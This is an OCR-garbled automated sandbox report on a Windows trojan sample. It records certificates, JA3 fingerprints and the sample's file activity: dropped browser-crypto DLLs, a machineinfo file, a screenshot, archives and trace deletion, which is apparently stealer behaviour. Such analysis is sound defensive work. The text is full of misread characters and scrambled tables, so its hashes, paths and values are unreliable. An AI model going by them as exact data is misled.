CN=Cloudflare Inc ECC CA-3, CN=Baltimore
O="Cloudflare, Inc.", C=US CyberTrust Root,
OU=CyberTrust,

O=Baltimore, C=IE
CN=sni.cloudflaressl.com, CN=Cloudflare Inc
O="Cloudflare, Inc.", L=San ECC CA-3,
Francisco, ST=California, O="Cloudflare, Inc.",
C=US CN=Cloudflare Inc ECC C=US CN=Baltimore
CA-3, O="Cloudflare, Inc.", CyberTrust Root,
C=UsS OU=CyberTrust,

O=Baltimore, C=IE

CN=Cloudflare Inc ECC CA-3, CN=Baltimore

O="Cloudflare, Inc.", C=US CyberTrust Root,
OU=CyberTrust,
O=Baltimore, C=IE

Not
Before

Thu Feb
11
01:00:00
CET
2021
Mon Jan
27
13:48:08
CET
2020

Mon Jan
27
13:48:08
CET
2020

Thu Feb
11
01:00:00
CET
2021
Mon Jan
27
13:48:08
CET
2020

Mon Jan
27
13:48:08
CET
2020

Thu Feb
11
01:00:00
CET
2021
Mon Jan
27
13:48:08
CET
2020

Mon Jan
27
13:48:08
CET
2020

@ Securitelnfo.com.Trojan.GenericKD..

® WerFault.exe
@ WerFault.exe
@ WerFault.exe
@ WerFault.exe
@ WerFault.exe
® WerFault.exe
® WerFault.exe
® WerFault.exe

Not
After

Fri Feb
11
00:59:59
CET
2022
Wed

Jan 01
00:59:59
CET
2025

Wed

Jan 01
00:59:59
CET
2025

Fri Feb
11
00:59:59
CET
2022
Wed

Jan 01
00:59:59
CET
2025

Wed

Jan 01
00:59:59
CET
2025

Fri Feb
11
00:59:59
CET
2022
Wed

Jan 01
00:59:59
CET
2025

Wed

Jan 01
00:59:59
CET
2025

JA3 SSL Client
Fingerprint

771,49196-49195-
49200-49199-159-
158-49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-5-10-11-13-
35-23-65281,29-
23-24,0

771,49196-49195-
49200-49199-159-
158-49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-5-10-11-13-
35-23-65281,29-
23-24,0

771,49196-49195-
49200-49199-159-
158-49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-5-10-11-13-
35-23-65281,29-
23-24,0

JA3 SSL Client Digest

ce5f3254611a8c095a3d8
21d44539877

ce5f3254611a8c095a3d8
21d44539877

ce5f3254611a8c095a3d8
21d44539877
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System Behavior

Analysis Process: Securitelnfo.com.Trojan.GenerickDZ.73124.19170.exe PID: 7140
Parent PID: 5976

General

Start time: 10:02:24

Start date: 23/02/2021

Path: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
Wow64 process (32bit): true

Commandline: ‘C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe’
Imagebase: 0x400000

File size: 555520 bytes

MDS5 hash: 060BD14AE501D8DAE94CC73672AB195B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\LocalLow\sqlite3.dll read attributes | device synchronous io  success or wait 1 433981 CreateFileA
synchronize | non alert | non
generic read | directory file
generic write
C:\Users\user\AppData\LocalLow\frAQBc8Wsa read data or list device sequential only | success or wait 1 43DEFC CopyFilewW
directory | read non directory
attributes | file
delete | write
dac |
synchronize |
generic read |
generic write
C:\Users\user\AppData\LocalLow\1xVPfvJcrg read data or list device sequential only | success or wait 1 43DEFC CopyFileW
directory | read synchronous io
attributes | non alert | non
delete | write directory file
dac |
synchronize |
generic read |
generic write
C:\Users\user\AppData\LocalLow\RYwTiizs2t read data or list device sequential only | success or wait 1 43DEFC CopyFileW
directory | read synchronous io
attributes | non alert | non
delete | write directory file
dac |
synchronize |
generic read |
generic write
C:\Users\user\AppData\LocalLow\rQF69AzBla read data or list device sequential only | success or wait 1 43DEFC CopyFileW
directory | read synchronous io
attributes | non alert | non
delete | write directory file
dac |
synchronize |
generic read |
generic write
C:\Users\user\AppData\LocalLow\JbcJeqCquL read data or list device sequential only | success or wait 1 43DEFC CopyFileW
directory | read synchronous io
attributes | non alert | non
delete | write directory file
dac |

synchronize |
generic read |
generic write
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File Path
C:\Users\user\AppData\LocalLow\eN9fR0jZ9wL1gM2

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\aR8pJ3hC8rG2s
T.zip

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\nssdbm3.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\prldap60.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\gipcap.dll

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\softokn3.dll

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\ucrtbase.dll

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\vcruntime140.dll

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\AccessibleHan

dler.dll

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\AccessibleMar
shal.dll

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\breakpadinjec

tor.dll

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\freebl3.dll

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\IA2Marshal.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\ldap60.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\dif60.dlIl

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\Igpllibs.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\lIbEGL.dII

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\MapiProxy.dll

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\MapiProxy_InU

se.dll

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\mozglue.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\mozMapi32.dll

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\mozMapi32_InU

se.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\msvcp140.dil

Copyright null 2021

Access

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read attributes |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

Attributes

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

412910

412910

433981

41AC4AC

41AC4AC

41AC4C

41AC4AC

41AC4AC

41AC4AC

41AC4C

41AC4AC

41AC4C

41AC4C

41AC4AC

41AC4C

41AC4AC

41AC4AC

41AC4AC

41AC4AC

41AC4AC

41AC4AC

41AC4AC

41AC4AC

41AC4AC

Symbol

CreateDirectoryTransacte
dA

CreateDirectoryTransacte
dA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA

CreateFileA
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\nss3.dll read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA

synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\nssckbi.dll read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA

synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
namedpipe-I1-1-0.dil synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
processenvironment-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
processthreads-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
processthreads-I1-1-1.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFO0yG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
profile-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
rtisupport-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
string-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
synch-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
synch-11-2-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
sysinfo-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
timezone-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
util-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFO0yG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
conio-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
convert-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
environment-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
filesystem-11-1-0.dlI synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
heap-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
locale-11-1-0.dlI synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
math-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
multibyte-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
private-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
process-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
runtime-|1-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
stdio-11-1-0.dll synchronize | non alert | non

generic write directory file
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
string-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
time-11-1-0.dlI synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFO0yG2eQ6fT7\api-ms-win-crt-  read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
utility-11-1-0.dlI synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
file-11-2-0.dlI synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFO0yG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
file-12-1-0.dlI synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
handle-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFO0yG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
heap-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
interlocked-I11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
libraryloader-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
localization-11-2-0.dlI synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\api-ms-win-core- read attributes | device synchronous io  success or wait 1 41ACAC CreateFileA
memory-11-1-0.dll synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLow\machineinfo.txt read attributes | device synchronous io  success or wait 1 463C5A CreateFilewW

synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\LocalLom\imUIOHTtWMK.zip read attributes | device synchronous io  success or wait 1 433061 CreateFileA

synchronize | non alert | non

generic write directory file
C:\Users\user\AppData\Local\Temp\XObEdOuQjV.exe read attributes | device synchronous io  success or wait 1 433981 CreateFileA

synchronize | non alert | non

generic read | directory file

generic write

File Deleted
Source

File Path Completion Count Address Symbol
C:\Users\user\AppData\LocalLow\frAQBc8Wsa success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\1xVPfvJcrg success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\RYwTiizs2t success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\rQF69AzBla success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\JbcJeqCquL success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\aR8pJ3hC8rG2sT.zip success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocallLow\screen.jpeg success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLom\imUIOHTtWMK.zip success or wait 1 433500 DeleteFileA
C:\Users\user\AppData\LocalLow\machineinfo.txt success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\AccessibleHandler.dll success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\AccessibleMarshal.dll success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-11-2-0.dlI success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-12-1-0.dlI success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-core-handle-11-1-0.dll success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-heap-11-1-0.dll success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-core-interlocked-11-1-0.dll success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-core-libraryloader-11-1-0.dll success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-localization-11-2-0.dll success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-core-memory-11-1-0.dll success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-namedpipe-11-1-0.dll success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-core-processenvironment-11-1-0.dll success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-processthreads-11-1-0.dll success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-processthreads-11-1-1.dll success or wait 1 40A0CD DeleteFileTransactedA
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-core-profile-11-1-0.dll success or wait 1 40A0CD DeleteFileTransactedA
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File Path

C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-core-rtlsupport-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-string-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-core-synch-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-core-synch-11-2-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-core-sysinfo-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-timezone-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-util-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-crt-conio-I11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-crt-convert-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-crt-environment-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-crt-filesystem-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-crt-heap-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-crt-locale-11-1-0.dlI
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-crt-math-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-crt-multibyte-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-crt-private-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-crt-process-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-crt-runtime-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-crt-stdio-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-string-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-crt-time-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\api-ms-win-crt-utility-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\breakpadinjector.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\freebl3.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\IA2Marshal.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\ldap60.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\dif60.dlIl
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\Igpllibs.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\lIbEGL.dII
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\MapiProxy.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy_InUse.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\mozglue.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\mozMapi32.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\mozMapi32_InUse.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\msvcp140.dil
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\nss3.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\nssckbi.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\nssdbm3.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\prldap60.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\gipcap.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT 7\softokn3.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\ucrtbase.dll
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\vcruntime140.dll
C:\Users\user\AppData\LocalLow\sqglite3.dll

File Written

File Path Offset Length Value

Copyright null 2021

Completion Count

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
cannot delete

success or wait
success or wait
success or wait
cannot delete

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

P PR P R R R R R R R R R R R P R R R R R R R R R R PR R R P R R PR R R R R R R R R R R P

success or wait

Completion

Source

Address

40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD
40A0CD

Symbol

DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA
DeleteFileTransactedA

DeleteFileTransactedA

Source

Count Address Symbol
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File Path
C:\Users\user\AppData\LocalLow\sqglite3.dll

C:\Users\user\AppData\LocalLow\sqglite3.dll
C:\Users\user\AppData\LocalLow\frAQBc8Wsa

Copyright null 2021

Offset

Length Value Ascii

unknown 475

unknown O

0

40960

4d 529000030000 MZ........ccoeveueee

00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00

00 00 00 00 00 00 00 mode....
00000000000000 $...
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 80 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 732070 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 50 45 00 00 4c 01
120017 19 74 5¢c 00
10 0c 00 12 10 00 00
€0 00 06 21 Ob 01 02
19 00 5a 09 00 00 04
0Ob 00 00 Oa 00 00 00
14 00 00 00 10 00 00
00 70 09 00 00 00 e0
61 00 10 00 00 00 02
00 00 04 00 00 00 01
00 00 00 04 00 00 00
00 00 00 00 00 b0 Oc
00 00 06 00 00 1c 87
Oe 00 03 00 00 00 00
00 20 00 00 10 00 00
00 00 10 00 00 10 00
00 00 00 00 00 10 00
00 00 00 c0 0a 00 9d
20 00

53 51 4¢ 69 74 65 20
66 6f 72 6d 61 74 20
33 0008 00 01 0100
4020 20 00 00 00 01
00 00 00 14 00 00 00
00 00 00 00 00 00 00
00 Ob 00 00 00 04 00
00 00 00 00 00 00 00
00 00 00 01 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 01 00 2e
43 ¢1 05 00 00 00 01
07 fb 00 00 00 00 10
07 fb 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

.1..L.IThis program
00 00 40 00 00 00 00 cannot be run in DOS

Completion

